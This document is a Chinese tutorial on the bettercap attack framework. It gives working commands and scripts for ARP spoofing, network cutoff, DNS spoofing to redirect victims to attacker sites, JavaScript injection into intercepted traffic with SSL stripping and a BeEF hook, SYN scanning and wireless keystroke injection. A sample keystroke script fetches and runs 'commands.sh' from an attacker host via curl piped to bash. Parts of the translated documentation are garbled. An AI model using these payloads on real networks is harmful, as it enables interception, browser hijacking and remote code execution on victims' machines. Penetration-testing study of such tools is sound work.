bettercap
安装
kali和ubuntu 直接使用终端安装
apt-get install bettercap
主机发现
使用net.recon on
主机发现
sudo bettercap
bettercap v2.32.0 (built for linux amd64 with go1.21.0) [type 'help' for a list of commands]
192.168.2.0/24 > 192.168.2.110 » [21:44:26] [sys.log] [inf] gateway monitor started ...
192.168.2.0/24 > 192.168.2.110 » net.recon on
net.show
查看存活的主机
ARP欺骗
命令
arp.spoof on
启动 ARP spoofer。
arp.ban on
在禁止模式下启动 ARP 欺骗器,这意味着目标连接将不起作用。
arp.spoof/ban off
停止 ARP 欺骗器。
参数
参数 | 违约 | 描述 |
---|---|---|
arp.spoof.targets | <entire subnet> | 以逗号分隔的 MAC 地址、IP 地址、IP 范围或别名列表,以欺骗 (支持的范围格式列表). |
arp.spoof.whitelist | 以逗号分隔的 MAC 地址、IP 地址、IP 范围或别名列表,在欺骗时要跳过。 | |
arp.spoof.internal | false | 如果为 true,则网络计算机之间的本地连接也将被欺骗,否则只有进出外部网络的连接。 |
arp.spoof.fullduplex | false | 如果为 true,则目标和网关都将受到攻击,否则仅攻击目标(如果路由器具有 ARP 欺骗保护,这将使攻击失败)。 |
例子
禁止该地址进入网络:192.168.1.6
> set arp.spoof.targets 192.168.1.6; arp.ban on
欺骗 ,以及 :192.168.1.2192.168.1.3192.168.1.4
> set arp.spoof.targets 192.168.1.2-4; arp.spoof on
Arp欺骗
使用arp.spoof
模块
set arp.spoof.targets 172.20.10.13 #设置攻击目标,可以是一个网段如:172.20.10.1-20.多个地址使用逗号隔开,也可以用地址的mac
get arp.spoof.targets #获取arp.spoof.targets的值
开启ARP欺骗
arp.spoof on
嗅探目标数据
net.sniff
也可以用wireshark来抓包
断网
arp.ban on : 开启ARP欺骗,用ban模式,这就意味着目标将不能上网,也就是断网攻击
arp.ban off : 停止ARP欺骗
DNS欺骗
DNS欺骗有一个前提,就是局域网内的主机的DNS服务器是局域网的网关,才能进行欺骗。如果是公网的DNS就不行了。
DNS欺骗之前我们需要利用ARP欺骗让目标机认为网关就是我们(攻击机),所以主机就会向我们发送DNS请求,这样就可以进行DNS欺骗了。
首先进行ARP欺骗
set arp.spoof.targets 172.20.10.13
arp.spoof on
然后进行DNS欺骗
set dns.spoof.domains www.sina.com #设置要欺骗的域名,多个域名用逗号隔开,如果要欺骗所有域名用通配符“*”
set dns.spoof.address 172.20.10.12 #设置将要欺骗的域名转换成的ip地址(这里可以换成我们自己的服务器,里面写上一个假的网站做些不可描述的东西)
dns.spoof on #开启DNS欺骗
如图所示,ping www.sina.com时目标机直接向我们发起请求。打新浪首页进入的是我们自己的网站。
对于多个映射,请使用 hosts 文件而不是参数:dns.spoof.*
> !cat ./dns.spoof.hosts
1.2.3.4 facebook.com
1.2.3.5 cnn.com
1.2.4.6 www.google.com
比如我们创建一个host文件如下:
进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数就行了
set dns.spoof.hosts /root/host #设置欺骗的域名和对应ip /home/zhaiyujin/下载/dns.spoof.hosts
dns.spoof on #开启dns欺骗
注入脚本
通过进行ARP欺骗,我们可以拦截到流量,自然就可以对拦截到的流量进行操作,我们可以对http协议的数据包进行代理,然后向里面注入恶意脚本。
set arp.spoof.targets 172.20.10.13 #设置arp欺骗的目标
arp.spoof on #开启ARP欺骗
set http.proxy.script /root/1.js #注入恶意脚本
set https.proxy.script /root/1.js
http.proxy on #开启HTTP代理
https.proxy on
脚本文件1.js如下
function onResponse(req,res){
if(res.ContentType.indexOf('text/html')==0){
var body=res.ReadBody();
if(body.indexOf('</head>')!=-1){
res.Body=body.replace(
'</head>',
'<script type="text/javascript">alert("your computer has hacked!")</script></head>'
);
}
}
}
当目标机访问一个http或者https协议的站点时,就可以看到脚本已经注入到请求的网站。
结合beef-xss注入
既然我们可以注入js脚本,那么我们就可以利用beef来对目标浏览器进行控制。
set arp.spoof.targets 172.20.10.13 #设置arp欺骗的目标
set http.proxy.script /root/test.js #往http流量中注入脚本/root/test.js
set http.proxy.sslstrip true #启用SSL剥离
http.proxy on #开启HTTP代理
arp.spoof on #开启ARP欺骗
test.js内容如下:
function onResponse(req,res){
if(res.ContentType.indexOf('text/html')==0){
var body=res.ReadBody();
if(body.indexOf('</head>')!=-1){
res.Body=body.replace(
'</head>',
'<script type="text/javascript" src="http://172.20.10.2:3000/hook.js"></script></head>'
);
}
}
}
beef不晓得传送门在这里——>kali之beef的使用
端口扫描
用于执行 SYN 端口扫描的模块,当发现开放端口时,端点的元字段将被填充,并显示在tcp-ports
新.show查看是否net.show.meta (英语)设置为 。true
命令
syn.scan IP-RANGE START-PORT END-PORT?
对提供的端口范围内的 IP 地址执行同步端口扫描。
syn.scan stop
停止当前同步扫描会话。
syn.scan.progress
打印当前同步扫描会话的进度。
参数
参数 | 违约 | 描述 |
---|---|---|
syn.scan.show-progress-every | 1 | 扫描进度报告的时间段(以秒为单位)。 |
例子
扫描单个 IP 的端口:11000
> syn.scan 192.168.1.3 1 1000
扫描端口的多个地址:22
> syn.scan 192.168.1.1-50 22
扫描整个子网中的端口,以便:110000
> syn.scan 192.168.1.0/24 1 10000
2.4GHZ 上的 HID
此模块是巴士底狱的老鼠劫持攻击,使用基于 Nordic Semiconductor nRF2LU4+ 的 USB 加密狗和巴士底狱的 USB 加密狗在 24.1Ghz 频谱上对 HID 设备执行扫描和帧注入RFStorm 固件.
该模块将与 RFStorm 支持的器件之一配合使用:
- CrazyRadio PA USB 加密狗
- SparkFun nRF24LU1+ 分线板
- 罗技 Unifying 加密狗(型号 C-U0007,基于 Nordic Semiconductor)
为了使此模块正常工作,您需要确保安装了Bastille 的 RFStorm 固件在受支持的设备上。
使用正确的固件刷新并连接到计算机后,应将设备报告为:dmesg
usb 3-1.3: new full-speed USB device number 8 using xhci_hcd
usb 3-1.3: New USB device found, idVendor=1915, idProduct=0102
usb 3-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=0
usb 3-1.3: Product: Research Firmware
usb 3-1.3: Manufacturer: RFStorm
已知该攻击支持检测和鸭子脚本注射以下设备:
- Microsoft 无线键盘 800
- Microsoft 无线鼠标 1000
- Microsoft 无线移动鼠标 3500
- Microsoft 一体式媒体键盘
- Microsoft Sculpt 人体工学鼠标
- 罗技无线触控键盘 K400r
- 罗技 Marathon M705 鼠标
- 罗技 Wave M510 鼠标
- 罗技无线游戏鼠标 G700s
- 罗技无线 M325 鼠标
- 罗技 K750 无线键盘
- 罗技 K320 无线键盘
- 戴尔 KM636 无线鼠标和键盘
- AmazonBasics MG-0975 无线鼠标
命令
hid.recon on
开始扫描 2.4Ghz 频谱上的 HID 设备。
hid.recon off
停止扫描 2.4Ghz 频谱上的 HID 设备。
hid.clear
清除 HID 发现模块收集的所有设备。
hid.show
显示 2.4Ghz 频谱上检测到的 HID 设备列表。
hid.sniff ADDRESS
开始嗅探特定的 ADDRESS 以收集有效载荷,使用“clear”停止收集。
hid.inject ADDRESS LAYOUT FILENAME
解析 DuckyScript 并将其注入为欺骗设备的 HID 帧,使用键盘映射(可用布局:)。FILENAMEADDRESSLAYOUTBE BR CA CH DE DK ES FI FR GB HR IT NO PT RU SI SV TR US
该命令不要求通过命令显示 HID 设备。如果您已经知道加密狗的地址,则只需将参数设置为其中之一(默认值),或者“盲目”运行注入。hid.injecthid.showhid.force.typelogitechamazonmicrosoft
参数
参数 | 违约 | 描述 |
---|---|---|
hid.lna | true | 如果为 true,请启用 LNA 功率放大器用于 CrazyRadio 设备。 |
hid.hop.period | 100 | 在跳转到下一个通道之前在每个通道上停留的时间(以毫秒为单位)。 |
hid.ping.period | 100 | 在嗅探器模式下尝试对给定通道上的设备执行 ping 操作的时间(以毫秒为单位)。 |
hid.sniff.period | 500 | 检测到设备后自动嗅探有效载荷以确定其类型的时间(以毫秒为单位)。 |
hid.force.type | logitech | 如果设备不可见(如果要在没有连接设备的情况下直接与硬件保护装置通信)或未检测到其类型,请强制将设备类型设置为此值。接受的值: , , .logitechamazonmicrosoft |
hid.show.filter | 定义 的正则表达式筛选器。hid.show | |
hid.show.sort | mac desc | 定义 的排序字段(mac、seen)和方向(asc 或 desc)。hid.show |
hid.show.limit | 0 | 定义 的限制。hid.show |
例子
启用 HID 发现,使用模块显示检测到的设备,等待检测到设备,并使用美式键盘布局将脚本注入为 HID 帧:ticker32:26:9f:a4:08ducky.txt
> set ticker.commands clear; hid.show; events.show 10
> hid.recon on
> ticker on
# ... wait for the device to be detected, using `hid.show` ...
> hid.inject 32:26:9f:a4:08 US ducky.txt
将脚本击键发送到加密狗,地址强制其类型为,并且无需等待任何连接的设备可见:ducky.txt32:26:9f:a4:08logitech
> set hid.force.type logitech
> hid.recon on
> hid.inject 32:26:9f:a4:08 US ducky.txt
示例(有关可用命令的完整列表)ducky.txt
查看文档):
GUI SPACE
DELAY 200
STRING Terminal
ENTER
DELAY 500
STRING curl -L http://www.evilsite.com/commands.sh | bash
ENTER
黑客入侵罗技设备:
替换下载文件
在bettercap中,有一种文件后缀叫.cap我们启动bettercap的时候可以指定该.cap文件,就可以按照这个文件还行命令。
比如我们随便创建一个xss.cap文件,内容如下:
在命令行中输入以下命令就可以加载并执行xss.cap的命令
root@kali:~# bettercap -caplet xss.cap
使用active可以详细的查看框架的变量及开启的模块
在新的版本中还加入了caplets,使用caplets.update下载更新后会存储由由开发者编写的各种功能的模块脚本。我们可以通过caplets.show来查看有哪些.cap模块。
HTTP 服务器
一个简单的 HTTP 服务器,用于通过网络提供文件和脚本。
命令
http.server on
在后台启动 HTTP 服务器。
http.server off
在后台停止 HTTP 服务器。
参数
参数 | 违约 | 描述 |
---|---|---|
http.server.path | . | 服务器文件夹。 |
http.server.address | <interface address> | 要将 http 服务器绑定到的地址。 |
http.server.port | 80 | 要将 http 服务器绑定到的端口。 |
例子
一班服务:/var/www/html
sudo bettercap -eval "set http.server.path /var/www/html; http.server on"
官网